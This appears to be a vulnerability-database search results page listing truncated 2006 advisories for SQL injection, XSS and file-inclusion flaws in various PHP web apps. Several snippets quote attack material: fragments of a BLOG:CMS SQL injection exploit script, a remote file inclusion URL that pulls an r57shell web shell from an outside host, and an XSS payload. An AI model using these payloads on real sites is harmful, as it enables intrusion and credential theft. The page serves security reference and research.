8705 matches found
CVE-2006-3332
CVE-2006-3332 is a SQL injection vulnerability in Zorum Forum 3.5 affecting index.php. The flaw allows remote attackers to inject SQL commands via six parameters: offset, tid, fromid, sortby, fromfrommethod, and fromfromlist. The underlying issue is unsafe handling/concatenation of user-supplied ...
CVE-2006-3299
CVE-2006-3299 describes a cross-site scripting (XSS) vulnerability in Usenet Script 0.5, specifically in index.php where the group parameter can be exploited to inject arbitrary web script or HTML. The vulnerability could allow remote attackers to execute injected code in a user’s browser. The do...
newsPHP 2006 PRO - 'index.php' Multiple SQL Injections
source: https://www.securityfocus.com/bid/18726/info NewsPHP 2006 PRO is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. A...
BLOG:CMS <= 4.0.0k Remote SQL Injection Exploit
Exploit for unknown platform in category web applications =============================================== BLOG:CMS url=stripslashes$row-url; $redirect=true; if strpos$row-url,'|noseo|'!==false $arr=explode",",'msnbot,googlebot,crawler,centrum'; foreach $arr as $s if strstr$SERVER"HTTPUSERAGENT",$...
Blog:CMS 4.0.0k - SQL Injection
!/usr/bin/php -q -d shortopentag=on url=stripslashes$row-url; $redirect=true; if strpos$row-url,'|noseo|'!==false $arr=explode",",'msnbot,googlebot,crawler,centrum'; foreach $arr as $s if strstr$SERVER"HTTPUSERAGENT",$s $redirect=false;...
BLOG:CMS <= 4.0.0k Remote SQL Injection Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "BLOG:CMS = 4.0.0k sql injection/admin credentials disclosure exploit\n"; echo "by rgod [email protected]\n"; echo "site: http://retrogod.altervista.org\n"; echo "dork: "Powered by BLOG:CMS"|"Powered by...
CVE-2006-3267
SQL injection vulnerability in index.php in Infinite Core Technologies ICT 1.0 Gold and earlier allows remote attackers to execute arbitrary SQL commands via the post parameter...
CVE-2006-3265
Multiple cross-site scripting XSS vulnerabilities in index.php in Qdig before 1.2.9.3, when registerglobals is enabled, allow remote attackers to inject arbitrary web script or HTML via the 1 pregallery or 2 postgallery parameters...
CVE-2006-3265
Multiple cross-site scripting XSS vulnerabilities in index.php in Qdig before 1.2.9.3, when registerglobals is enabled, allow remote attackers to inject arbitrary web script or HTML via the 1 pregallery or 2 postgallery parameters...
CVE-2006-3260
Cross-site scripting XSS vulnerability in index.php in vlbook 1.02 allows remote attackers to inject arbitrary web script or HTML via the message parameter...
CVE-2006-3235
Multiple cross-site scripting XSS vulnerabilities in index.php in FineShop 3.0 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 promocja, 2 wysw, or 3 idproduc parameters...
CVE-2006-3237
Cross-site scripting XSS vulnerability in index.php in Enterprise Groupware System EGS 1.2.4 and earlier allows remote attackers to inject arbitrary web script or HTML via the module parameter...
dotwidgeta.txt
Multiple file include exploits in dotwidgeta Version 2 script type : dotwidgeta Version 2 bug found by : sweet-devil team : site-down type : file include exploits : index.php http://www.example.com/path/index.php?filepath=http://yoursite/r57shell.txt? ecrire.php...
aeDating 4.1 XSS
Product of AEwebworks Dating Software http://www.aewebworks.com/ --------------------------- Cross Site Scripting XSS --------------------------- http://target.xx:80/index.php?Sex="scriptalert/Elipsis+Security+Test//script&Mode=last ^"G4" Template work^ --- POST /joinform.php HTTP/1.1 Content-Typ...
CVE-2006-3221
SQL injection vulnerability in index.php in DataLife Engine 4.1 and earlier allows remote attackers to execute arbitrary SQL commands via double-encoded values in the user parameter in a userinfo subaction...
CVE-2006-3170
CS-Forum before 0.82 allows remote attackers to obtain sensitive information via unspecified manipulations, possibly involving an empty collapse or readall parameter to index.php, which reveals the installation path in an error message...
CVE-2006-3181
SQL injection vulnerability in index.php in MobeScripts Mobile Space Community 2.0 allows remote attackers to execute arbitrary SQL commands via the browse parameter...
CVE-2006-3181
The CVE-2006-3181 issue affects MobeScripts Mobile Space Community 2.0: SQL injection in index.php where the browse parameter can be abused by a remote attacker to execute arbitrary SQL commands. Affected product/component: index.php in the Mobile Space Community 2.0 package (MobeScripts). Root c...